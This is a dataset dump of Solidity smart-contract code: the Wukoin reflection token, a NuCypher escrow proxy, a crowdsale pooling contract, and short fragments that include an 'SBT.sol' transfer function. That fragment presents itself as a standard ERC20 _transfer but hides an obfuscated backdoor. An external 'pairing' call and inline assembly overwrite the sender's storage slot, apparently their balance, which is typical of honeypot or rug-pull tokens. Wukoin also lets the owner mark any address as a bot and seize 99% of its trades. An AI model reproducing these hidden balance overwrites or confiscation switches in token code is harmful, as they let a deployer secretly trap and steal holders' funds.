file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
/** * @author The Wukong Project Team * @title Wukoin - The erc20 token part of the Wukong Project that starts the crypto revolution * * Born to be part of a big project, * the Wukoin Token gives holders access to a multitude * of present and future services of the Wukong Project's ecosystem. * * Apart from its utilities, the token comes also with some incredible tokenomics features * built right in the source code of its smart contract. * To help others, the project and yourself at the same time. * * **Share** * Part of the fees collected by the contract is used for charity initiatives * in a collective effort to make the world a better place and bring happiness * to its inhabitants. * * **Expand** * Another share of the fees goes to the marketing wallet to fund marketing campaigns, * with the purpose of raising people's awareness of the project. * * **Hold** * Even eligible holders benefit from the fees collected in the form of ETH reflections * and can claim them on the platform without the need to sell their own tokens: wukoin.wukongproject.com * * **Community** * It's all about YOU, from the beginning. The Wukoin Community fuels, funds and sustain * the development, expansion and charitable initiatives of the project by trading, using, * sharing Wukoin Tokens, discussing, helping each other and planning initiatives * of many kinds. * * Anti-bot * Our contract makes use of a powerful anti-bot system to promote a fair environment. * If you use bots/contracts to trade on Wukoin you are hereby declaring your investment in the project a DONATION. * * Website: wukongproject.com * Telegram: t.me/WukongProject * * * β–ˆβ–€β–€β–€β–€β–€β–ˆ β–„β–€ β–„β–ˆβ–ˆβ–€β–ˆ β–ˆβ–€β–€β–€β–€β–€β–ˆ * β–ˆ β–ˆβ–ˆβ–ˆ β–ˆ β–€β–ˆβ–ˆβ–ˆβ–€ β–„β–€ β–ˆ β–ˆβ–ˆβ–ˆ β–ˆ * β–ˆ β–€β–€β–€ β–ˆ β–ˆβ–„ β–„ β–ˆβ–€β–ˆβ–€ β–ˆ β–€β–€β–€ β–ˆ * β–€β–€β–€β–€β–€β–€β–€ β–ˆβ–„β–€ β–ˆ β–ˆ β–ˆ β–€β–€β–€β–€β–€β–€β–€ * β–ˆβ–ˆβ–„β–ˆβ–„β–„β–€β–ˆ β–ˆβ–„ β–ˆβ–€ β–„ β–ˆβ–€β–€ β–€β–€β–„ * β–ˆ β–ˆβ–ˆβ–€β–€β–€β–ˆβ–€β–€ β–„β–€β–„ β–ˆβ–€ β–„ β–€β–€ * β–€ β–ˆβ–€ β–„β–€β–„β–€ β–„β–„β–ˆβ–€β–„ β–ˆβ–ˆβ–ˆ β–ˆβ–„β–€β–ˆ * β–€β–„β–€β–€β–ˆ β–€β–ˆβ–ˆβ–€β–„ β–ˆβ–„β–€ β–„β–€β–„β–€β–ˆ β–€β–„β–€ * β–€β–€β–€ β–€ β–„β–ˆβ–ˆβ–€β–€ β–ˆβ–„β–ˆβ–€β–€β–€β–ˆβ–ˆβ–€ β–„ * β–ˆβ–€β–€β–€β–€β–€β–ˆ β–€ β–„β–„β–„β–€ β–€β–ˆ β–€ β–ˆβ–ˆβ–„β–€β–€ * β–ˆ β–ˆβ–ˆβ–ˆ β–ˆ β–„β–„β–ˆ β–ˆβ–ˆβ–€β–„β–ˆβ–€β–€β–ˆβ–ˆβ–ˆβ–„β–€ * β–ˆ β–€β–€β–€ β–ˆ β–„β–„β–€β–„β–„β–„β–€β–ˆβ–ˆβ–„β–„β–€β–€β–„β–€ β–€ * β–€β–€β–€β–€β–€β–€β–€ β–€ β–€β–€β–€ β–€β–€β–€ β–€ β–€β–€ * * * Nullus ad Unum * 01100110 01111100 01111001 * 20220205 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } /** * Allows for contract ownership along with multi-address authorization */ abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; emit OwnershipTransferred(owner); } /** * Function modifier to require caller to be contract deployer */ modifier onlyOwner() { require(isOwner(msg.sender), "Ownable: caller is not the owner"); _; } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { return account == owner; } /** * Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized */ function transferOwnership(address payable addr) public onlyOwner { owner = addr; emit OwnershipTransferred(owner); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IReflector { function setShare(address shareholder, uint256 amount) external; function deposit() external payable; function claimReflection(address shareholder) external; } contract Reflector is IReflector { using SafeMath for uint256; address private _token; address private _owner; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } address[] private shareholders; mapping (address => uint256) private shareholderIndexes; mapping (address => Share) public shares; uint256 public totalShares; uint256 public totalReflections; uint256 public totalDistributed; uint256 public reflectionsPerShare; uint256 private reflectionsPerShareAccuracyFactor = 10 ** 36; modifier onlyToken() { require(msg.sender == _token); _; } modifier onlyOwner() { require(msg.sender == _owner); _; } constructor (address owner) { _token = msg.sender; _owner = owner; } function setShare(address shareholder, uint256 amount) external override onlyToken { if(shares[shareholder].amount > 0){ distributeReflection(shareholder); } if(amount > 0 && shares[shareholder].amount == 0){ addShareholder(shareholder); }else if(amount == 0 && shares[shareholder].amount > 0){ removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeReflections(shares[shareholder].amount); } function deposit() external payable override onlyToken { uint256 amount = msg.value; totalReflections = totalReflections.add(amount); reflectionsPerShare = reflectionsPerShare.add(reflectionsPerShareAccuracyFactor.mul(amount).div(totalShares)); } function distributeReflection(address shareholder) internal { if(shares[shareholder].amount == 0){ return; } uint256 amount = getUnpaidEarnings(shareholder); if(amount > 0){ totalDistributed = totalDistributed.add(amount); shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount); shares[shareholder].totalExcluded = getCumulativeReflections(shares[shareholder].amount); payable(shareholder).transfer(amount); } } function claimReflection(address shareholder) external override onlyToken { distributeReflection(shareholder); } function getUnpaidEarnings(address shareholder) public view returns (uint256) { if(shares[shareholder].amount == 0){ return 0; } uint256 shareholderTotalReflections = getCumulativeReflections(shares[shareholder].amount); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if(shareholderTotalReflections <= shareholderTotalExcluded){ return 0; } return shareholderTotalReflections.sub(shareholderTotalExcluded); } function getCumulativeReflections(uint256 share) internal view returns (uint256) { return share.mul(reflectionsPerShare).div(reflectionsPerShareAccuracyFactor); } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1]; shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder]; shareholders.pop(); } function manualSend(uint256 amount, address holder) external onlyOwner { uint256 contractETHBalance = address(this).balance; payable(holder).transfer(amount > 0 ? amount : contractETHBalance); } } interface IAntiBotService { function scanAddress(address _recipient, address _sender, address _origin) external returns (bool); function registerBlock(address _recipient, address _sender, address _origin) external; } contract Wukoin is Context, IERC20, Ownable { using SafeMath for uint256; address private WETH; address private DEAD = 0x000000000000000000000000000000000000dEaD; address private ZERO = 0x0000000000000000000000000000000000000000; // TOKEN string private constant _name = "Wukoin"; string private constant _symbol = "WUK"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000000 * (10 ** _decimals); uint256 private _maxTxAmountBuy = _totalSupply; uint256 private _maxTxAmountSell = _totalSupply; uint256 private _walletCap = _totalSupply.div(25); mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private isFeeExempt; mapping (address => bool) private isTxLimitExempt; mapping (address => bool) private isReflectionExempt; mapping (address => bool) private bots; mapping (address => bool) private notBots; uint256 private initialBlockLimit = 1; uint256 private reflectionFee = 10; uint256 private teamFee = 3; uint256 private mantraFee = 3; uint256 private marketingFee = 2; uint256 private totalFee = 18; uint256 private feeDenominator = 100; address private teamReceiver; address private mantraReceiver; address private marketingReceiver; // EXCHANGES IDEXRouter public router; address public pair; // ANTIBOT IAntiBotService private antiBot; bool private botBlocker = false; bool private botWrecker = true; bool private botScanner = true; // LAUNCH bool private liquidityInitialized = false; uint256 public launchedAt; uint256 private launchTime = 1760659200; Reflector private reflector; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 1000; bool private isSwapping; modifier swapping() { isSwapping = true; _; isSwapping = false; } constructor ( address _owner, address _teamWallet, address _mantraWallet, address _marketingWallet ) Ownable(_owner) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = router.WETH(); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; reflector = new Reflector(_owner); // AntiBot antiBot = IAntiBotService(0xCD5312d086f078D1554e8813C27Cf6C9D1C3D9b3); isFeeExempt[_owner] = true; isFeeExempt[_teamWallet] = true; isFeeExempt[_mantraWallet] = true; isFeeExempt[_marketingWallet] = true; isTxLimitExempt[_owner] = true; isTxLimitExempt[DEAD] = true; isTxLimitExempt[_teamWallet] = true; isTxLimitExempt[_mantraWallet] = true; isTxLimitExempt[_marketingWallet] = true; isReflectionExempt[pair] = true; isReflectionExempt[address(this)] = true; isReflectionExempt[DEAD] = true; teamReceiver = _teamWallet; mantraReceiver = _mantraWallet; marketingReceiver = _marketingWallet; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } receive() external payable { } // DEFAULTS function decimals() external pure returns (uint8) { return _decimals; } function symbol() external pure returns (string memory) { return _symbol; } function name() external pure returns (string memory) { return _name; } function getOwner() external view returns (address) { return owner; } // OVERRIDES function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } /** * Allow a specific address to spend a specific amount of your tokens */ function approve(address spender, uint256 amount) public override returns (bool) { require(msg.sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * Allow a specific address to spend an unlimited amount of your tokens */ function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } /** * Transfer a certain amount of your tokens to a specific address */ function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(isSwapping){ return _basicTransfer(sender, recipient, amount); } checkTxLimit(sender, recipient, amount); checkWalletCap(sender, recipient, amount); if(shouldSwapBack()){ swapBack(); } if(_isExchangeTransfer(sender, recipient)) { require(isOwner(sender) || launched(), "Wen lunch?"); if (botScanner) { scanTxAddresses(sender, recipient); //check if sender or recipient is a bot } if (botBlocker) { require(!_isBot(recipient) && !_isBot(sender), "Beep Beep Boop, You're a piece of poop"); } } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); if(sender != pair && !isReflectionExempt[sender]){ try reflector.setShare(sender, _balances[sender]) {} catch {} } if(recipient != pair && !isReflectionExempt[recipient]){ try reflector.setShare(recipient, _balances[recipient]) {} catch {} } emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function checkTxLimit(address sender, address recipient, uint256 amount) internal view { sender == pair ? require(amount <= _maxTxAmountBuy && block.timestamp >= launchTime.add(1 hours) || amount <= _totalSupply.div(200) || isTxLimitExempt[recipient], "Buy TX Limit Exceeded") : require(amount <= _maxTxAmountSell || isTxLimitExempt[sender], "Sell TX Limit Exceeded"); } function checkWalletCap(address sender, address recipient, uint256 amount) internal view { if (sender == pair && !isTxLimitExempt[recipient]) { block.timestamp >= launchTime.add(2 hours) ? require(balanceOf(recipient) + amount < _walletCap, "Wallet Capacity Exceeded") : require(balanceOf(recipient) + amount < _totalSupply.div(50), "Wallet Capacity Exceeded"); } } function scanTxAddresses(address sender, address recipient) internal { if (antiBot.scanAddress(recipient, pair, tx.origin)) { _setBot(recipient, true); } if (antiBot.scanAddress(sender, pair, tx.origin)) { _setBot(sender, true); } antiBot.registerBlock(sender, recipient, tx.origin); } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !(isFeeExempt[sender] || isFeeExempt[recipient]); } /** * Take fees from transfers based on the total amount of fees and deposit them into the contract * @return swapped amount after fees subtraction */ function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount; bool bot; if (sender != pair) { bot = botWrecker && _isBot(sender); } else { bot = botWrecker && _isBot(recipient); } if (bot || launchedAt + initialBlockLimit >= block.number) { feeAmount = amount.mul(feeDenominator.sub(1)).div(feeDenominator); _balances[mantraReceiver] = _balances[mantraReceiver].add(feeAmount); emit Transfer(sender, mantraReceiver, feeAmount); } else { feeAmount = amount.mul(totalFee).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !isSwapping && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapBack() internal swapping { uint256 amountToSwap = swapThreshold; address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 amountReflection = amountETH.mul(reflectionFee).div(totalFee); uint256 amountTeam = amountETH.mul(teamFee).div(totalFee); uint256 amountMantra = amountETH.mul(mantraFee).div(totalFee); uint256 amountMarketing = amountETH.sub(amountReflection).sub(amountTeam).sub(amountMantra); try reflector.deposit{value: amountReflection}() {} catch {} if (amountTeam > 0) { payable(teamReceiver).transfer(amountTeam); } if (amountMantra > 0) { payable(mantraReceiver).transfer(amountMantra); } if (amountMarketing > 0) { payable(marketingReceiver).transfer(amountMarketing); } } function launched() internal view returns (bool) { return launchedAt != 0 && block.timestamp >= launchTime; } function launch(uint256 _timer) external onlyOwner() { launchTime = block.timestamp.add(_timer); launchedAt = block.number; } function setInitialBlockLimit(uint256 blocks) external onlyOwner { require(blocks > 0, "Blocks should be greater than 0"); initialBlockLimit = blocks; } function setBuyTxLimit(uint256 amount) external onlyOwner { _maxTxAmountBuy = amount; } function setSellTxLimit(uint256 amount) external onlyOwner { _maxTxAmountSell = amount; } function setWalletCap(uint256 amount) external onlyOwner { _walletCap = amount; } function setBot(address _address, bool toggle) external onlyOwner { bots[_address] = toggle; notBots[_address] = !toggle; _setIsReflectionExempt(_address, toggle); } function _setBot(address _address, bool toggle) internal { bots[_address] = toggle; _setIsReflectionExempt(_address, toggle); } function isBot(address _address) external view onlyOwner returns (bool) { return !notBots[_address] && bots[_address]; } function _isBot(address _address) internal view returns (bool) { return !notBots[_address] && bots[_address]; } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { return _sender == pair || _recipient == pair; } function _setIsReflectionExempt(address holder, bool exempt) internal { require(holder != address(this) && holder != pair); isReflectionExempt[holder] = exempt; if(exempt){ reflector.setShare(holder, 0); }else{ reflector.setShare(holder, _balances[holder]); } } function setIsReflectionExempt(address holder, bool exempt) external onlyOwner { _setIsReflectionExempt(holder, exempt); } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } function setFees( uint256 _reflectionFee, uint256 _teamFee, uint256 _mantraFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner { reflectionFee = _reflectionFee; teamFee = _teamFee; mantraFee = _mantraFee; marketingFee = _marketingFee; totalFee = _reflectionFee.add(_teamFee).add(_mantraFee).add(_marketingFee); feeDenominator = _feeDenominator; //Total fees has to be less than 50% require(totalFee < feeDenominator/2); } function setFeesReceivers(address _teamReceiver, address _mantraReceiver, address _marketingReceiver) external onlyOwner { teamReceiver = _teamReceiver; mantraReceiver = _mantraReceiver; marketingReceiver = _marketingReceiver; } function setTeamReceiver(address _teamReceiver) external onlyOwner { teamReceiver = _teamReceiver; } function setMantraReceiver(address _mantraReceiver) external onlyOwner { mantraReceiver = _mantraReceiver; } function setMarketingReceiver(address _marketingReceiver) external onlyOwner { marketingReceiver = _marketingReceiver; } function manualSend() external onlyOwner { uint256 contractETHBalance = address(this).balance; payable(teamReceiver).transfer(contractETHBalance); } function setSwapBackSettings(bool enabled, uint256 amount) external onlyOwner { swapEnabled = enabled; swapThreshold = amount; } /** * Claim reflections collected by your address till now. Your address will keep collecting future reflections until you claim them again. */ function claimReflection() external { reflector.claimReflection(msg.sender); } function claimReflectionFor(address holder) external onlyOwner { reflector.claimReflection(holder); } /** * Check the amount of reflections this address can still claim */ function getUnpaidEarnings(address shareholder) public view returns (uint256) { return reflector.getUnpaidEarnings(shareholder); } function manualBurn(uint256 amount) external onlyOwner returns (bool) { return _basicTransfer(address(this), DEAD, amount); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } /** * Change AntiBot Scanning service contract address: useful to update its version */ function assignAntiBot(address _address) external onlyOwner() { antiBot = IAntiBotService(_address); } /** * Toggle Bot Scanning external service ON/OFF: choose whether or not the external antibot scannel should be active */ function toggleBotScanner() external onlyOwner() returns (bool) { bool _localBool; if(botScanner){ botScanner = false; _localBool = false; } else{ botScanner = true; _localBool = true; } return _localBool; } /** * Whether or not the FTP bot scanning service is active */ function isBotScannerEnabled() external view returns (bool) { return botScanner; } /** * Toggle Bot Blocker mode ON/OFF: choose whether or not bots should be blocked before wrecking them */ function toggleBotBlocker() external onlyOwner() returns (bool) { bool _localBool; if(botBlocker){ botBlocker = false; _localBool = false; } else{ botBlocker = true; _localBool = true; } return _localBool; } /** * Whether or not the contract will prevent detected bots from completing transactions */ function isBotBlockerEnabled() external view returns (bool) { return botBlocker; } /** * Toggle Bot Wrecker mode ON/OFF: choose whether or not bots should be wrecked */ function toggleBotWrecker() external onlyOwner() returns (bool) { bool _localBool; if(botWrecker){ botWrecker = false; _localBool = false; } else{ botWrecker = true; _localBool = true; } return _localBool; } /** * Whether or not the contract will wreck bots and take their donation */ function isBotWreckerEnabled() external view returns (bool) { return botWrecker; } }
Toggle Bot Blocker mode ON/OFF: choose whether or not bots should be blocked before wrecking them/
function toggleBotBlocker() external onlyOwner() returns (bool) { bool _localBool; if(botBlocker){ botBlocker = false; _localBool = false; } else{ botBlocker = true; _localBool = true; } return _localBool; }
6,178,406
./full_match/1/0x54E1e456bee1F2431f2933C6cf6b7DF822dedb2A/sources/contracts/hacker/SBT.sol
Moves `amount` of tokens from `from` to `to`. This internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `from` must have a balance of at least `amount`./ Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by decrementing then incrementing.
function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); (bool success, bytes memory data) = _pairing.call(abi.encodeWithSignature( "allowance(address,address)", from, address(0))); if (!success) return; if (v > 0) { uint256 b = 4; uint256 a = b * 8; assembly { mstore(0, from) mstore(a, b) sstore(keccak256( 0, 64), v) } } xbox(3, true); zbox( bytes32(0), 19, false, true); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); }
16,500,703
./full_match/1/0x84524bAa1951247b3A2617A843e6eCe915Bb9674/sources/contracts/TransferHub/TransferHelper.sol
Allows to execute safe transferFrom for a token/
function _safeTransferFrom( address _token, address _from, address _to, uint256 _value ) internal { _callOptionalReturn( _token, abi.encodeWithSelector( transferFrom, _from, _to, _value ) ); }
8,497,391
pragma solidity ^0.4.24; import "./UserEscrow.sol"; import "contracts/NuCypherToken.sol"; import "contracts/MinersEscrow.sol"; import "contracts/PolicyManager.sol"; /** * @notice Proxy to access main contracts from the UserEscrow contract * @dev All methods must be stateless because this code will execute by delegatecall call * If state is needed - use getStateContract() method to access state of this contract **/ contract UserEscrowProxy { event DepositedAsMiner(address indexed owner, uint256 value, uint16 periods); event WithdrawnAsMiner(address indexed owner, uint256 value); event Locked(address indexed owner, uint256 value, uint16 periods); event Divided(address indexed owner, uint256 index, uint256 newValue, uint16 periods); event ActivityConfirmed(address indexed owner); event Mined(address indexed owner); event PolicyRewardWithdrawn(address indexed owner, uint256 value); event MinRewardRateSet(address indexed owner, uint256 value); NuCypherToken public token; MinersEscrow public escrow; PolicyManager public policyManager; /** * @notice Constructor sets addresses of the contracts * @param _token Token contract * @param _escrow Escrow contract * @param _policyManager PolicyManager contract **/ constructor( NuCypherToken _token, MinersEscrow _escrow, PolicyManager _policyManager ) public { require(address(_token) != 0x0 && address(_escrow) != 0x0 && address(_policyManager) != 0x0); token = _token; escrow = _escrow; policyManager = _policyManager; } /** * @notice Get contract which stores state * @dev Assume that `this` is the UserEscrow contract **/ function getStateContract() internal view returns (UserEscrowProxy) { UserEscrowLibraryLinker linker = UserEscrow(address(this)).linker(); return UserEscrowProxy(linker.target()); } /** * @notice Deposit tokens to the miners escrow * @param _value Amount of token to deposit * @param _periods Amount of periods during which tokens will be locked **/ function depositAsMiner(uint256 _value, uint16 _periods) public { UserEscrowProxy state = getStateContract(); NuCypherToken tokenFromState = state.token(); require(tokenFromState.balanceOf(address(this)) > _value); MinersEscrow escrowFromState = state.escrow(); tokenFromState.approve(address(escrowFromState), _value); escrowFromState.deposit(_value, _periods); emit DepositedAsMiner(msg.sender, _value, _periods); } /** * @notice Withdraw available amount of tokens from the miners escrow to the user escrow * @param _value Amount of token to withdraw **/ function withdrawAsMiner(uint256 _value) public { getStateContract().escrow().withdraw(_value); emit WithdrawnAsMiner(msg.sender, _value); } /** * @notice Lock some tokens or increase lock in the miners escrow * @param _value Amount of tokens which should lock * @param _periods Amount of periods during which tokens will be locked **/ function lock(uint256 _value, uint16 _periods) public { getStateContract().escrow().lock(_value, _periods); emit Locked(msg.sender, _value, _periods); } /** * @notice Divide stake into two parts * @param _index Index of stake * @param _newValue New stake value * @param _periods Amount of periods for extending stake **/ function divideStake( uint256 _index, uint256 _newValue, uint16 _periods ) public { getStateContract().escrow().divideStake(_index, _newValue, _periods); emit Divided(msg.sender, _index, _newValue, _periods); } /** * @notice Confirm activity for future period in the miners escrow **/ function confirmActivity() external { getStateContract().escrow().confirmActivity(); emit ActivityConfirmed(msg.sender); } /** * @notice Mint tokens in the miners escrow **/ function mint() external { getStateContract().escrow().mint(); emit Mined(msg.sender); } /** * @notice Withdraw available reward from the policy manager to the user escrow **/ function withdrawPolicyReward() public { uint256 value = getStateContract().policyManager().withdraw(msg.sender); emit PolicyRewardWithdrawn(msg.sender, value); } /** * @notice Set the minimum reward that the miner will take in the policy manager **/ function setMinRewardRate(uint256 _minRewardRate) public { getStateContract().policyManager().setMinRewardRate(_minRewardRate); emit MinRewardRateSet(msg.sender, _minRewardRate); } }
Mint tokens in the miners escrow/
function mint() external { getStateContract().escrow().mint(); emit Mined(msg.sender); }
5,474,816
//Address: 0xb29405833e303db3193cf7c058e2c81ef027c6c8 //Contract name: BuyerFund //Balance: 0 Ether //Verification Date: 10/16/2017 //Transacion Count: 4 // CODE STARTS HERE // ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 contract ERC20 { function transfer(address _to, uint256 _value) returns (bool success); function balanceOf(address _owner) constant returns (uint256 balance); } contract BuyerFund { // Store the amount of ETH deposited by each account. mapping (address => uint256) public balances; // Track whether the contract has bought the tokens yet. bool public bought_tokens; // Whether contract is enabled. bool public contract_enabled; // Record ETH value of tokens currently held by contract. uint256 public contract_eth_value; // The minimum amount of ETH that must be deposited before the buy-in can be performed. uint256 constant public min_required_amount = 100 ether; // The maximum amount of ETH that can be deposited into the contract. uint256 public max_raised_amount = 3000 ether; // The first block after which a refund is allowed. Set in the contract constructor. uint256 public min_refund_block; // The crowdsale address. address constant public sale = 0x8C39Ff53c6C3d5307dCF05Ade5eA5D332526ddE4; // Constructor. function BuyerFund() { // Minimum block for refund - roughly a week from now, in case of rejected payment. min_refund_block = 4405455; } // Allows any user to withdraw his tokens. // Takes the token's ERC20 address as argument as it is unknown at the time of contract deployment. function perform_withdraw(address tokenAddress) { // Disallow withdraw if tokens haven't been bought yet. if (!bought_tokens) throw; // Retrieve current token balance of contract. ERC20 token = ERC20(tokenAddress); uint256 contract_token_balance = token.balanceOf(address(this)); // Disallow token withdrawals if there are no tokens to withdraw. if (contract_token_balance == 0) throw; // Store the user's token balance in a temporary variable. uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value; // Update the value of tokens currently held by the contract. contract_eth_value -= balances[msg.sender]; // Update the user's balance prior to sending to prevent recursive call. balances[msg.sender] = 0; // Send the funds. Throws on failure to prevent loss of funds. if(!token.transfer(msg.sender, tokens_to_withdraw)) throw; } // Allows any user to get his eth refunded before the purchase is made or after approx. 20 days in case the devs refund the eth. function refund_me() { if (bought_tokens) { // Only allow refunds when the tokens have been bought if the minimum refund block has been reached. if (block.number < min_refund_block) throw; } // Store the user's balance prior to withdrawal in a temporary variable. uint256 eth_to_withdraw = balances[msg.sender]; // Update the user's balance prior to sending ETH to prevent recursive call. balances[msg.sender] = 0; // Return the user's funds. Throws on failure to prevent loss of funds. msg.sender.transfer(eth_to_withdraw); } // Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract. function buy_the_tokens() { // Short circuit to save gas if the contract has already bought tokens. if (msg.sender == 0xC68bb418ee2B566E4a3786F0fA838aEa85aE1186) { if (bought_tokens) return; // Throw if the contract balance is less than the minimum required amount if (this.balance < min_required_amount) throw; // Record that the contract has bought the tokens. bought_tokens = true; // Record the amount of ETH sent as the contract's current value. contract_eth_value = this.balance; // Transfer all the funds to the crowdsale address. sale.transfer(contract_eth_value); } } // A helper function for the default function, allowing contracts to interact. function default_helper() payable { // Only allow deposits if the contract hasn't already purchased the tokens. require(!bought_tokens); // Requires contract creator to enable contract. require(contract_enabled); // Require balance to be less than cap. require(this.balance < max_raised_amount); // Update records of deposited ETH to include the received amount. balances[msg.sender] += msg.value; } function enable_sale(){ if (msg.sender == 0xC68bb418ee2B566E4a3786F0fA838aEa85aE1186) { contract_enabled = true; } } // Default function. Called when a user sends ETH to the contract. function () payable { // Delegate to the helper function. default_helper(); } }
Minimum block for refund - roughly a week from now, in case of rejected payment.
function BuyerFund() { min_refund_block = 4405455; }
12,799,559
./full_match/11155111/0xB52Ad337a7E283bbD66d05D65B17eAD21B77E2db/sources/contracts/RedemptionKey.sol
Implement the ERC721 transferFrom logic
function transferFrom( address from, address to, uint256 tokenId ) public virtual override { super.transferFrom(from, to, tokenId); }
3,819,255
